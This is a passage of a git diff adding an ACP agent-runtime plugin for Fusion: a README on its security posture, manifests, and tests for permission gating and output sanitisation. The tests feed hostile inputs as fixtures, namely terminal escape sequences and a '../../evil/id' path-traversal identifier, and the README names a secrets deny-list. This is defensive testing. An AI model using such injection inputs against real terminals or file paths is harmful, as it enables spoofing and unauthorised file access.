RUNTIME_PLUGINS_WITH_MCP_SCHEMA_SERVER = new Set([ diff --git a/plugins/fusion-plugin-acp-runtime/README.md b/plugins/fusion-plugin-acp-runtime/README.md new file mode 100644 index 0000000000..aab2331b72 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/README.md @@ -0,0 +1,66 @@ +# @fusion-plugin-examples/acp-runtime + +A Fusion runtime plugin that drives **any** external [Agent Client Protocol +(ACP)](https://agentclientprotocol.com) agent over JSON-RPC/stdio. One +integration unlocks every ACP-compatible agent (Gemini CLI, the Claude Code ACP +adapter, and any future agent that speaks the protocol) through the standard +protocol instead of a bespoke per-CLI integration. + +Selected via `runtimeId: "acp"`. Installed on demand (`experimental`) — see the +Fusion plugin catalog (`fn plugin install fusion-plugin-acp-runtime`). + +## Security posture + +The ACP agent is an **untrusted subprocess** that calls back into Fusion for +permissions and filesystem access. This plugin enforces a defense-in-depth floor: + +- **Per-category permission gating.** Each `session/request_permission` is + classified by tool kind into a Fusion action category and checked against the + live permission policy — never a preset shortcut. `allow_once` only (never a + persisted blanket grant). Unmappable kinds and missing policy default-deny. +- **Unrestricted-risk acknowledgement (`acpAllowUnrestricted`).** Because the + shipped default policy is `unrestricted` (allow-all), a blanket `allow` on a + *sensitive* category is escalated to approval unless the user explicitly sets + `acpAllowUnrestricted: true`. Prefer running the ACP runtime under an + `approval-required` policy. +- **Filesystem jail.** `fs/read_text_file` / `fs/write_text_file` are opt-in + (`acpFsRead` / `acpFsWrite`, writes default OFF), confined to the session + `cwd` by a real symlink-resolving jail (realpath + `O_NOFOLLOW`), with a + deny-list for secrets (`.env`, `*.pem`, …) and git internals (`.git/**`). + Writes are gated through the `file_write_delete` permission category. +- **Untrusted-input bounds.** Streamed output is sanitized (ANSI/control strip) + and bounded (per-turn + per-chunk caps; bounded tool-call correlation map). +- **Subprocess isolation.** The agent env is built from an allow-list + (`acpEnvAllowList`) — inherited `process.env` is **not** forwarded. + +Not sandboxed in v1: the agent's own process/network syscalls run with Fusion's +user privileges (OS-level sandboxing is recommended future work). + +## Settings + +| Key | Default | Meaning | +| --- | --- | --- | +| `acpBinaryPath` | `acp-agent` | Agent binary to spawn | +| `acpArgs` | `[]` | Args that launch the agent in ACP/stdio mode (e.g. `["--acp"]`) | +| `acpModel` | — | Optional model identifier reported via `describeModel` | +| `acpFsRead` | `false` | Advertise/register `fs/read_text_file` | +| `acpFsWrite` | `false` | Advertise/register `fs/write_text_file` (gated) | +| `acpEnvAllowList` | `[]` | Env var names forwarded to the agent subprocess | +| `acpAllowUnrestricted` | `false` | Acknowledge the untrusted-agent risk under an allow-all policy | + +## Upstream / third-party integration evidence + +Per `AGENTS.md` (External-integration evidence): + +- **Protocol homepage / docs:** https://agentclientprotocol.com +- **Upstream protocol repo:** https://github.com/agentclientprotocol/agent-client-protocol +- **TypeScript SDK repo:** https://github.com/agentclientprotocol/typescript-sdk +- **Dependency (npm):** `@agentclientprotocol/sdk` — https://www.npmjs.com/package/@agentclientprotocol/sdk +- **Pinned release:** `0.24.0` (Apache-2.0) +- **Tarball:** https://registry.npmjs.org/@agentclientprotocol/sdk/-/sdk-0.24.0.tgz +- **Integrity (sha512):** `sha512-vvu9appvGvfYstBj19C6NCepV6SvUhY5VRv60KUZ4XzhTah/olOYul5Zo4C+x2enyshMSvgB2mm/OEmrsHaSmA==` +- **Agent binaries driven:** user-supplied ACP agents (e.g. `gemini --acp`, the + `@agentclientprotocol/claude-agent-acp` adapter). These are configured by the + user at runtime, not bundled — `upstream-pending-verification` per agent. + +See `docs/acp-contract.md` for the launch/readiness contract and failure taxonomy. diff --git a/plugins/fusion-plugin-acp-runtime/manifest.json b/plugins/fusion-plugin-acp-runtime/manifest.json new file mode 100644 index 0000000000..b7a01d6c27 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/manifest.json @@ -0,0 +1,13 @@ +{ + "id": "fusion-plugin-acp-runtime", + "name": "ACP Runtime Plugin", + "version": "0.1.0", + "description": "Drives any external Agent Client Protocol (ACP) agent for Fusion", + "author": "Fusion Team", + "runtime": { + "runtimeId": "acp", + "name": "ACP Runtime", + "description": "Drives any external ACP-compatible agent over JSON-RPC/stdio", + "version": "0.1.0" + } +} diff --git a/plugins/fusion-plugin-acp-runtime/package.json b/plugins/fusion-plugin-acp-runtime/package.json new file mode 100644 index 0000000000..73e53beb74 --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/package.json @@ -0,0 +1,41 @@ +{ + "name": "@fusion-plugin-examples/acp-runtime", + "version": "0.1.0", + "type": "module", + "description": "ACP (Agent Client Protocol) runtime plugin for Fusion — drives any ACP-compatible agent over JSON-RPC/stdio", + "keywords": [ + "fusion-plugin", + "acp", + "agent-client-protocol", + "runtime" + ], + "exports": { + ".": { + "types": "./src/index.ts", + "import": "./src/index.ts" + }, + "./probe": { + "types": "./src/probe.ts", + "import": "./src/probe.ts" + } + }, + "private": true, + "scripts": { + "build": "tsc", + "test": "vitest run --silent=passed-only --reporter=dot", + "typecheck": "tsc --noEmit" + }, + "dependencies": { + "@agentclientprotocol/sdk": "0.24.0", + "@fusion/plugin-sdk": "workspace:*" + }, + "peerDependencies": { + "@earendil-works/pi-ai": "*", + "@earendil-works/pi-coding-agent": "*" + }, + "devDependencies": { + "@types/node": "^25.5.2", + "typescript": "^5.7.0", + "vitest": "^3.2.4" + } +} diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/control-handler.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/control-handler.test.ts new file mode 100644 index 0000000000..ec848fbeba --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/control-handler.test.ts @@ -0,0 +1,315 @@ +// U5 security-floor tests for the PURE permission resolver. +// +// Each `it` is a security assertion. Do NOT weaken these to go green — if one +// fails, the implementation is wrong, not the test. + +import { describe, it, expect, vi } from "vitest"; +import type { + PermissionOption, + RequestPermissionResponse, + ToolCallUpdate, + ToolKind, +} from "@agentclientprotocol/sdk"; +import { + classifyToolKind, + selectOption, + resolvePermission, + DENY, +} from "../control-handler.js"; +import type { GateDisposition, PermissionGate } from "../types.js"; + +// A full option set the agent might offer (includes the dangerous *_always). +const ALL_OPTIONS: PermissionOption[] = [ + { optionId: "allow_once_id", name: "Allow once", kind: "allow_once" }, + { optionId: "allow_always_id", name: "Allow always", kind: "allow_always" }, + { optionId: "reject_once_id", name: "Reject once", kind: "reject_once" }, + { optionId: "reject_always_id", name: "Reject always", kind: "reject_always" }, +]; + +function toolCall(kind: ToolKind | null | undefined, extra: Partial = {}): ToolCallUpdate { + return { toolCallId: "tc-1", kind, ...extra } as ToolCallUpdate; +} + +function gateWithRules(rules: Record, extra: Partial = {}): PermissionGate { + return { permissionPolicy: { rules }, ...extra }; +} + +/** The shipped `unrestricted` default: every category → allow. */ +const UNRESTRICTED: Record = { + git_write: "allow", + file_write_delete: "allow", + command_execution: "allow", + network_api: "allow", + task_agent_mutation: "allow", +}; + +function selectedId(res: RequestPermissionResponse): string | undefined { + return res.outcome.outcome === "selected" ? res.outcome.optionId : undefined; +} + +describe("classifyToolKind", () => { + it("maps execute → command_execution", () => { + expect(classifyToolKind("execute")).toBe("command_execution"); + }); + it("maps edit/delete/move → file_write_delete", () => { + expect(classifyToolKind("edit")).toBe("file_write_delete"); + expect(classifyToolKind("delete")).toBe("file_write_delete"); + expect(classifyToolKind("move")).toBe("file_write_delete"); + }); + it("maps fetch → network_api", () => { + expect(classifyToolKind("fetch")).toBe("network_api"); + }); + it("maps read/search/think/switch_mode → exempt", () => { + expect(classifyToolKind("read")).toBe("exempt"); + expect(classifyToolKind("search")).toBe("exempt"); + expect(classifyToolKind("think")).toBe("exempt"); + expect(classifyToolKind("switch_mode")).toBe("exempt"); + }); + it("maps other/undefined/null/unknown → DENY sentinel", () => { + expect(classifyToolKind("other")).toBe(DENY); + expect(classifyToolKind(undefined)).toBe(DENY); + expect(classifyToolKind(null)).toBe(DENY); + expect(classifyToolKind("totally_made_up" as ToolKind)).toBe(DENY); + }); +}); + +describe("selectOption — allow_once ONLY (S2)", () => { + it("allow selects allow_once, never allow_always", () => { + const sel = selectOption("allow", ALL_OPTIONS); + expect(sel).toEqual({ decision: "allow", optionId: "allow_once_id" }); + }); + it("allow with NO allow_once falls back to reject (never allow_always)", () => { + const noAllowOnce = ALL_OPTIONS.filter((o) => o.kind !== "allow_once"); + const sel = selectOption("allow", noAllowOnce); + expect(sel.decision).toBe("deny"); + expect(sel.optionId).not.toBe("allow_always_id"); + expect(sel.optionId).toBe("reject_once_id"); + }); + it("deny selects reject_once, never reject_always", () => { + const sel = selectOption("deny", ALL_OPTIONS); + expect(sel).toEqual({ decision: "deny", optionId: "reject_once_id" }); + }); + it("deny with no reject_once leaves optionId undefined (→ cancelled)", () => { + const onlyAllow: PermissionOption[] = [ + { optionId: "allow_once_id", name: "Allow once", kind: "allow_once" }, + { optionId: "allow_always_id", name: "Allow always", kind: "allow_always" }, + ]; + const sel = selectOption("deny", onlyAllow); + expect(sel.decision).toBe("deny"); + expect(sel.optionId).toBeUndefined(); + }); +}); + +describe("resolvePermission — the security floor", () => { + // [Risk S1] per-category honored, NOT preset-allowed. + it("blocks an execute call when command_execution is custom-blocked even under an otherwise-unrestricted policy", async () => { + const gate = gateWithRules({ ...UNRESTRICTED, command_execution: "block" }); + const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate); + expect(res.outcome.outcome).toBe("selected"); + expect(selectedId(res)).toBe("reject_once_id"); + }); + + // [Risk S2] allow → allow_once, allow_always NEVER selected. + // (acknowledged: with allowUnrestricted the S1 escalation is off, so the allow + // disposition reaches option selection — the point of this test.) + it("selects allow_once for an allow category and never allow_always even when offered", async () => { + const gate = gateWithRules({ ...UNRESTRICTED, command_execution: "allow" }); + const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate, { + allowUnrestricted: true, + }); + expect(selectedId(res)).toBe("allow_once_id"); + expect(selectedId(res)).not.toBe("allow_always_id"); + }); + + // [Risk S1] WITHOUT acknowledgement, a blanket allow on a sensitive category + // is escalated to approval — and default-denies when no approver exists. + it("escalates a sensitive allow to deny under the unrestricted default (no acknowledgement, no approver)", async () => { + const gate = gateWithRules(UNRESTRICTED); // command_execution: "allow" + const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate); + expect(selectedId(res)).toBe("reject_once_id"); + }); + it("auto-allows a sensitive call only when the unrestricted risk is acknowledged", async () => { + const gate = gateWithRules(UNRESTRICTED); + const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate, { + allowUnrestricted: true, + }); + expect(selectedId(res)).toBe("allow_once_id"); + }); + it("never escalates an exempt (read-only) kind regardless of acknowledgement", async () => { + const gate = gateWithRules(UNRESTRICTED); + const res = await resolvePermission(toolCall("read"), ALL_OPTIONS, gate); + expect(selectedId(res)).toBe("allow_once_id"); + }); + + it("exempt kinds (read) always allow via allow_once", async () => { + // Even with a block-everything policy, a read-only kind is exempt → allow. + const gate = gateWithRules({ + git_write: "block", + file_write_delete: "block", + command_execution: "block", + network_api: "block", + task_agent_mutation: "block", + }); + const res = await resolvePermission(toolCall("read"), ALL_OPTIONS, gate); + expect(selectedId(res)).toBe("allow_once_id"); + }); + + // [KTD3a] missing / other / unknown kind → denied even under unrestricted. + it("denies a missing kind even under the unrestricted default", async () => { + const gate = gateWithRules(UNRESTRICTED); + const res = await resolvePermission(toolCall(undefined), ALL_OPTIONS, gate); + expect(selectedId(res)).toBe("reject_once_id"); + }); + it("denies an `other` kind even under the unrestricted default", async () => { + const gate = gateWithRules(UNRESTRICTED); + const res = await resolvePermission(toolCall("other"), ALL_OPTIONS, gate); + expect(selectedId(res)).toBe("reject_once_id"); + }); + + // No gate / no policy → default-deny. + it("default-denies when no gate is supplied", async () => { + const res = await resolvePermission(toolCall("read"), ALL_OPTIONS, undefined); + expect(selectedId(res)).toBe("reject_once_id"); + }); + it("default-denies when permissionPolicy is absent", async () => { + const res = await resolvePermission(toolCall("read"), ALL_OPTIONS, {} as PermissionGate); + expect(selectedId(res)).toBe("reject_once_id"); + }); + + // Options missing the expected *_once kind → safe fallback, never *_always, no throw. + it("falls back to cancelled (never allow_always) when an allow category offers no allow_once", async () => { + const gate = gateWithRules({ ...UNRESTRICTED, command_execution: "allow" }); + const noAllowOnce: PermissionOption[] = [ + { optionId: "allow_always_id", name: "Allow always", kind: "allow_always" }, + { optionId: "reject_always_id", name: "Reject always", kind: "reject_always" }, + ]; + const res = await resolvePermission(toolCall("execute"), noAllowOnce, gate, { + allowUnrestricted: true, + }); + // No reject_once either → cancelled, and definitely not allow_always. + expect(res.outcome.outcome).toBe("cancelled"); + expect(selectedId(res)).toBeUndefined(); + }); + + describe("require-approval HITL", () => { + it("creates an approval request, blocks until decision, granted → allow_once", async () => { + let resolvePause: (() => void) | undefined; + const order: string[] = []; + const gate: PermissionGate = gateWithRules( + { ...UNRESTRICTED, command_execution: "require-approval" }, + { + createApprovalRequest: vi.fn(async () => { + order.push("create"); + return { id: "appr-1" }; + }), + findApprovalByDedupeKey: vi + .fn() + // first lookup (reuse check): nothing prior + .mockResolvedValueOnce(null) + // second lookup (after pause): approved + .mockResolvedValueOnce({ id: "appr-1", status: "approved" }), + pauseForApproval: vi.fn( + () => + new Promise((resolve) => { + order.push("pause"); + resolvePause = () => { + order.push("resume"); + resolve(); + }; + }), + ), + markApprovalCompleted: vi.fn(async () => { + order.push("complete"); + }), + }, + ); + + const promise = resolvePermission(toolCall("execute"), ALL_OPTIONS, gate); + + // It must be blocked on pauseForApproval — give the microtask queue a tick. + await Promise.resolve(); + await Promise.resolve(); + expect(order).toEqual(["create", "pause"]); + + resolvePause!(); + const res = await promise; + expect(selectedId(res)).toBe("allow_once_id"); + expect(gate.createApprovalRequest).toHaveBeenCalledTimes(1); + expect(gate.markApprovalCompleted).toHaveBeenCalledWith("appr-1"); + expect(order).toEqual(["create", "pause", "resume", "complete"]); + }); + + it("rejected decision → reject_once", async () => { + const gate: PermissionGate = gateWithRules( + { ...UNRESTRICTED, command_execution: "require-approval" }, + { + createApprovalRequest: vi.fn(async () => ({ id: "appr-2" })), + findApprovalByDedupeKey: vi + .fn() + .mockResolvedValueOnce(null) + .mockResolvedValueOnce({ id: "appr-2", status: "denied" }), + pauseForApproval: vi.fn(async () => undefined), + markApprovalCompleted: vi.fn(async () => undefined), + }, + ); + const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate); + expect(selectedId(res)).toBe("reject_once_id"); + }); + + it("timeout/error during pause → reject_once (no throw)", async () => { + const gate: PermissionGate = gateWithRules( + { ...UNRESTRICTED, command_execution: "require-approval" }, + { + createApprovalRequest: vi.fn(async () => ({ id: "appr-3" })), + findApprovalByDedupeKey: vi.fn().mockResolvedValueOnce(null), + pauseForApproval: vi.fn(async () => { + throw new Error("timed out"); + }), + }, + ); + const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate); + expect(selectedId(res)).toBe("reject_once_id"); + }); + + it("reuses a prior approved decision via the dedupe key (no new request)", async () => { + const createApprovalRequest = vi.fn(async () => ({ id: "appr-x" })); + const gate: PermissionGate = gateWithRules( + { ...UNRESTRICTED, command_execution: "require-approval" }, + { + createApprovalRequest, + findApprovalByDedupeKey: vi.fn(async () => ({ id: "prior", status: "approved" as const })), + }, + ); + const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate); + expect(selectedId(res)).toBe("allow_once_id"); + expect(createApprovalRequest).not.toHaveBeenCalled(); + }); + + it("require-approval with NO closures → default-deny, no throw", async () => { + const gate = gateWithRules({ ...UNRESTRICTED, command_execution: "require-approval" }); + const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate); + expect(selectedId(res)).toBe("reject_once_id"); + }); + + it("require-approval with createApprovalRequest but no pauseForApproval → default-deny (no orphaned request)", async () => { + const createApprovalRequest = vi.fn(async () => ({ id: "a" })); + const gate: PermissionGate = gateWithRules( + { ...UNRESTRICTED, command_execution: "require-approval" }, + { createApprovalRequest }, + ); + const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate); + expect(selectedId(res)).toBe("reject_once_id"); + // Without a way to pause for a decision, no request is committed to the + // store — otherwise it would sit perpetually `pending`. + expect(createApprovalRequest).not.toHaveBeenCalled(); + }); + }); + + it("treats a category with no explicit rule as require-approval (not allow)", async () => { + // command_execution missing from rules entirely → require-approval → with no + // closures that default-denies (never silent allow). + const gate = gateWithRules({ git_write: "allow" }); + const res = await resolvePermission(toolCall("execute"), ALL_OPTIONS, gate); + expect(selectedId(res)).toBe("reject_once_id"); + }); +}); diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge-bounds.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge-bounds.test.ts new file mode 100644 index 0000000000..1c089ebcfa --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge-bounds.test.ts @@ -0,0 +1,230 @@ +import { describe, it, expect, vi } from "vitest"; +import type { SessionUpdate } from "@agentclientprotocol/sdk"; +import { + createEventBridge, + PER_TURN_OUTPUT_CAP_CHARS, + PER_CHUNK_CAP_CHARS, + TOOL_CALL_MAP_CAP, +} from "../event-bridge.js"; +import type { AcpCallbacks } from "../types.js"; + +function makeCallbacks() { + const onText = vi.fn<(text: string) => void>(); + const onThinking = vi.fn<(text: string) => void>(); + const onToolStart = vi.fn<(name: string, args?: unknown) => void>(); + const onToolEnd = vi.fn<(name: string, isError: boolean, result?: unknown) => void>(); + const callbacks: AcpCallbacks = { onText, onThinking, onToolStart, onToolEnd }; + return { callbacks, onText, onThinking, onToolStart, onToolEnd }; +} + +function textChunk(text: string): SessionUpdate { + return { sessionUpdate: "agent_message_chunk", content: { type: "text", text } } as SessionUpdate; +} + +describe("event bridge bounds: per-turn cumulative cap (Risk S5)", () => { + it("stops forwarding text once the per-turn cap is exceeded and flags once", () => { + const { callbacks, onText, onThinking } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + + // Each chunk is itself within the per-chunk cap; many of them exceed the + // per-turn cap. Total forwarded text must stay bounded. + const chunk = "x".repeat(PER_CHUNK_CAP_CHARS); + const chunksNeeded = Math.ceil(PER_TURN_OUTPUT_CAP_CHARS / PER_CHUNK_CAP_CHARS) + 5; + for (let i = 0; i < chunksNeeded; i++) { + bridge.handleSessionUpdate(textChunk(chunk)); + } + + const totalForwarded = onText.mock.calls.reduce((sum, c) => sum + c[0].length, 0); + // Bounded: never far beyond the cap (one chunk of slack at most). + expect(totalForwarded).toBeLessThanOrEqual(PER_TURN_OUTPUT_CAP_CHARS + PER_CHUNK_CAP_CHARS); + expect(totalForwarded).toBeGreaterThan(0); + + // Exactly one truncation flag line emitted via onThinking. + const flagCalls = onThinking.mock.calls.filter((c) => + String(c[0]).includes("output truncated"), + ); + expect(flagCalls.length).toBe(1); + }); + + it("reset() clears the per-turn counter so a new turn forwards fresh", () => { + const { callbacks, onText, onThinking } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + const chunk = "y".repeat(PER_CHUNK_CAP_CHARS); + const chunksNeeded = Math.ceil(PER_TURN_OUTPUT_CAP_CHARS / PER_CHUNK_CAP_CHARS) + 2; + for (let i = 0; i < chunksNeeded; i++) bridge.handleSessionUpdate(textChunk(chunk)); + onText.mockClear(); + onThinking.mockClear(); + + bridge.reset(); + bridge.handleSessionUpdate(textChunk("after reset")); + expect(onText).toHaveBeenCalledWith("after reset"); + }); +}); + +describe("event bridge bounds: per-chunk cap (Risk S5)", () => { + it("caps an oversized single content chunk", () => { + const { callbacks, onText } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + bridge.handleSessionUpdate(textChunk("z".repeat(PER_CHUNK_CAP_CHARS * 4))); + expect(onText).toHaveBeenCalledTimes(1); + expect(onText.mock.calls[0][0].length).toBeLessThanOrEqual(PER_CHUNK_CAP_CHARS); + }); +}); + +describe("event bridge sanitization: tool title (Risk S7)", () => { + it("strips ANSI/control escapes from a tool title before the callback", () => { + const { callbacks, onToolStart } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call", + toolCallId: "t1", + title: "\x1b[31mRun\x1b[0m\x07 tests\x00", + kind: "execute", + } as SessionUpdate); + + expect(onToolStart).toHaveBeenCalledTimes(1); + const name = onToolStart.mock.calls[0][0]; + expect(name).toBe("Run tests"); + expect(name).not.toContain("\x1b"); + expect(name).not.toContain("\x00"); + }); + + it("strips control escapes from agent text before onText", () => { + const { callbacks, onText } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + bridge.handleSessionUpdate(textChunk("\x1b]0;evil\x07hello\x1b[2J")); + expect(onText).toHaveBeenCalledWith("hello"); + }); +}); + +describe("event bridge bounds: toolCall correlation map (Risk S5)", () => { + it("bounds the map under a flood of unique toolCallIds (evicts oldest)", () => { + const { callbacks, onToolStart, onToolEnd } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + + const flood = TOOL_CALL_MAP_CAP * 3; + for (let i = 0; i < flood; i++) { + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call", + toolCallId: `flood-${i}`, + title: `T${i}`, + kind: "other", + } as SessionUpdate); + } + // Every start fires (callbacks not gated), but memory (map) is bounded. + expect(onToolStart).toHaveBeenCalledTimes(flood); + + // A terminal update for an EVICTED early id still resolves (orphan path), + // but its `tool_call` metadata is gone, so the title falls back to the + // generic "tool" — proving the map did NOT retain the earliest ids. + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call_update", + toolCallId: "flood-0", + status: "completed", + } as SessionUpdate); + expect(onToolEnd).toHaveBeenLastCalledWith("tool", false, undefined); + + // The newest ids remain tracked, so their title is carried forward. + const newest = flood - 1; + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call_update", + toolCallId: `flood-${newest}`, + status: "completed", + } as SessionUpdate); + expect(onToolEnd).toHaveBeenLastCalledWith(`T${newest}`, false, undefined); + }); + + it("normalizes a path-separator toolCallId used as a map key", () => { + const { callbacks, onToolStart, onToolEnd } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call", + toolCallId: "../../evil/id", + title: "Sneaky", + kind: "other", + } as SessionUpdate); + // The update uses a DIFFERENT raw id (backslashes) that normalizes to the + // SAME key as the start's forward-slash id. Raw-key storage would miss the + // correlation; only normalization makes start↔end line up — proving the + // bridge keys on the normalized form, not the raw string. + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call_update", + toolCallId: "..\\..\\evil\\id", + status: "completed", + } as SessionUpdate); + // Same normalized key correlates start↔end exactly once. + expect(onToolStart).toHaveBeenCalledTimes(1); + expect(onToolEnd).toHaveBeenCalledTimes(1); + expect(onToolEnd).toHaveBeenCalledWith("Sneaky", false, undefined); + }); +}); + +describe("plan output bounds (S5)", () => { + it("caps plan entry count and charges the per-turn budget", async () => { + const { createEventBridge, MAX_PLAN_ENTRIES, PER_TURN_OUTPUT_CAP_CHARS } = await import( + "../event-bridge.js" + ); + const thinking: string[] = []; + const bridge = createEventBridge({ onThinking: (t) => thinking.push(t) }); + const entries = Array.from({ length: MAX_PLAN_ENTRIES + 50 }, (_, i) => ({ + content: `step ${i}`, + priority: "low", + status: "pending", + })); + bridge.handleSessionUpdate({ sessionUpdate: "plan", entries } as never); + expect(thinking).toHaveLength(1); + // Truncation marker present; not all entries formatted. + expect(thinking[0]).toContain("50 more entries truncated"); + expect(thinking[0].length).toBeLessThan(PER_TURN_OUTPUT_CAP_CHARS); + }); + + it("suppresses plan output once the per-turn cap has flagged", async () => { + const { createEventBridge, PER_CHUNK_CAP_CHARS, PER_TURN_OUTPUT_CAP_CHARS } = await import( + "../event-bridge.js" + ); + const thinking: string[] = []; + const bridge = createEventBridge({ onThinking: (t) => thinking.push(t) }); + // Flood text until the per-turn cap flags. + const chunk = "x".repeat(PER_CHUNK_CAP_CHARS); + const chunksNeeded = Math.ceil(PER_TURN_OUTPUT_CAP_CHARS / PER_CHUNK_CAP_CHARS) + 2; + for (let i = 0; i < chunksNeeded; i += 1) { + bridge.handleSessionUpdate({ + sessionUpdate: "agent_thought_chunk", + content: { type: "text", text: chunk }, + } as never); + } + const before = thinking.length; + bridge.handleSessionUpdate({ + sessionUpdate: "plan", + entries: [{ content: "late plan", priority: "low", status: "pending" }], + } as never); + // No plan line after the cap flagged. + expect(thinking.length).toBe(before); + }); +}); + + it("a plan-ONLY stream stops emitting once the per-turn cap is crossed", async () => { + const { createEventBridge, PER_CHUNK_CAP_CHARS, PER_TURN_OUTPUT_CAP_CHARS, MAX_PLAN_ENTRIES } = + await import("../event-bridge.js"); + const thinking: string[] = []; + const bridge = createEventBridge({ onThinking: (t) => thinking.push(t) }); + // Each plan line is bounded by PER_CHUNK_CAP_CHARS; flood plan events only. + const bigEntry = "p".repeat(PER_CHUNK_CAP_CHARS); + const entries = Array.from({ length: MAX_PLAN_ENTRIES }, () => ({ + content: bigEntry, + priority: "low", + status: "pending", + })); + const floods = Math.ceil(PER_TURN_OUTPUT_CAP_CHARS / PER_CHUNK_CAP_CHARS) + 3; + for (let i = 0; i < floods; i += 1) { + bridge.handleSessionUpdate({ sessionUpdate: "plan", entries } as never); + } + // The flag line is emitted exactly once, then nothing further. + const flagged = thinking.filter((t) => t.includes("output truncated")); + expect(flagged).toHaveLength(1); + const after = thinking.length; + bridge.handleSessionUpdate({ sessionUpdate: "plan", entries } as never); + expect(thinking.length).toBe(after); + // And the total emitted is bounded near the cap, not floods * cap. + expect(thinking.length).toBeLessThan(floods); + }); diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge.test.ts new file mode 100644 index 0000000000..95a460912f --- /dev/null +++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge.test.ts @@ -0,0 +1,332 @@ +import { describe, it, expect, vi } from "vitest"; +import type { SessionUpdate } from "@agentclientprotocol/sdk"; +import { createEventBridge, PER_TURN_OUTPUT_CAP_CHARS } from "../event-bridge.js"; +import type { AcpCallbacks } from "../types.js"; + +function makeCallbacks() { + const onText = vi.fn<(text: string) => void>(); + const onThinking = vi.fn<(text: string) => void>(); + const onToolStart = vi.fn<(name: string, args?: unknown) => void>(); + const onToolEnd = vi.fn<(name: string, isError: boolean, result?: unknown) => void>(); + const callbacks: AcpCallbacks = { onText, onThinking, onToolStart, onToolEnd }; + return { callbacks, onText, onThinking, onToolStart, onToolEnd }; +} + +describe("event bridge: text/thinking", () => { + it("agent_message_chunk sequence reconstructs the full message via successive onText", () => { + const { callbacks, onText, onThinking } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + + bridge.handleSessionUpdate({ + sessionUpdate: "agent_message_chunk", + content: { type: "text", text: "Hello" }, + } as SessionUpdate); + bridge.handleSessionUpdate({ + sessionUpdate: "agent_message_chunk", + content: { type: "text", text: " world." }, + } as SessionUpdate); + + expect(onText).toHaveBeenCalledTimes(2); + expect(onText.mock.calls.map((c) => c[0]).join("")).toBe("Hello world."); + expect(onThinking).not.toHaveBeenCalled(); + }); + + it("repairs a dropped inter-chunk space between sentence end and capitalized start", () => { + const { callbacks, onText } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + + bridge.handleSessionUpdate({ + sessionUpdate: "agent_message_chunk", + content: { type: "text", text: "Done." }, + } as SessionUpdate); + bridge.handleSessionUpdate({ + sessionUpdate: "agent_message_chunk", + content: { type: "text", text: "Next step." }, + } as SessionUpdate); + + expect(onText.mock.calls.map((c) => c[0]).join("")).toBe("Done. Next step."); + }); + + it("agent_thought_chunk routes to onThinking, not onText", () => { + const { callbacks, onText, onThinking } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + + bridge.handleSessionUpdate({ + sessionUpdate: "agent_thought_chunk", + content: { type: "text", text: "thinking..." }, + } as SessionUpdate); + + expect(onThinking).toHaveBeenCalledTimes(1); + expect(onThinking).toHaveBeenCalledWith("thinking..."); + expect(onText).not.toHaveBeenCalled(); + }); + + it("ignores user_message_chunk", () => { + const { callbacks, onText, onThinking } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + bridge.handleSessionUpdate({ + sessionUpdate: "user_message_chunk", + content: { type: "text", text: "user echo" }, + } as SessionUpdate); + expect(onText).not.toHaveBeenCalled(); + expect(onThinking).not.toHaveBeenCalled(); + }); + + it("ignores non-text content blocks for text extraction", () => { + const { callbacks, onText } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + bridge.handleSessionUpdate({ + sessionUpdate: "agent_message_chunk", + content: { type: "image", data: "abc", mimeType: "image/png" }, + } as unknown as SessionUpdate); + expect(onText).not.toHaveBeenCalled(); + }); +}); + +describe("event bridge: tool call lifecycle", () => { + it("tool_call → onToolStart with mapped name + normalized args", () => { + const { callbacks, onToolStart } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call", + toolCallId: "t1", + title: "Run tests", + kind: "execute", + rawInput: { command: "pnpm test" }, + } as SessionUpdate); + + expect(onToolStart).toHaveBeenCalledTimes(1); + expect(onToolStart).toHaveBeenCalledWith("Run tests", { command: "pnpm test" }); + }); + + it("tool_call_update(status:failed) → onToolEnd(isError=true), correlated by toolCallId", () => { + const { callbacks, onToolStart, onToolEnd } = makeCallbacks(); + const bridge = createEventBridge(callbacks); + + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call", + toolCallId: "t1", + title: "Run tests", + kind: "execute", + } as SessionUpdate); + // partial update omits title/kind — bridge must carry them forward + bridge.handleSessionUpdate({ + sessionUpdate: "tool_call_update", + toolCallId: "t1", + status: "failed", + rawOutput: { exitCode: 1 }, + } as SessionUpdate); + + 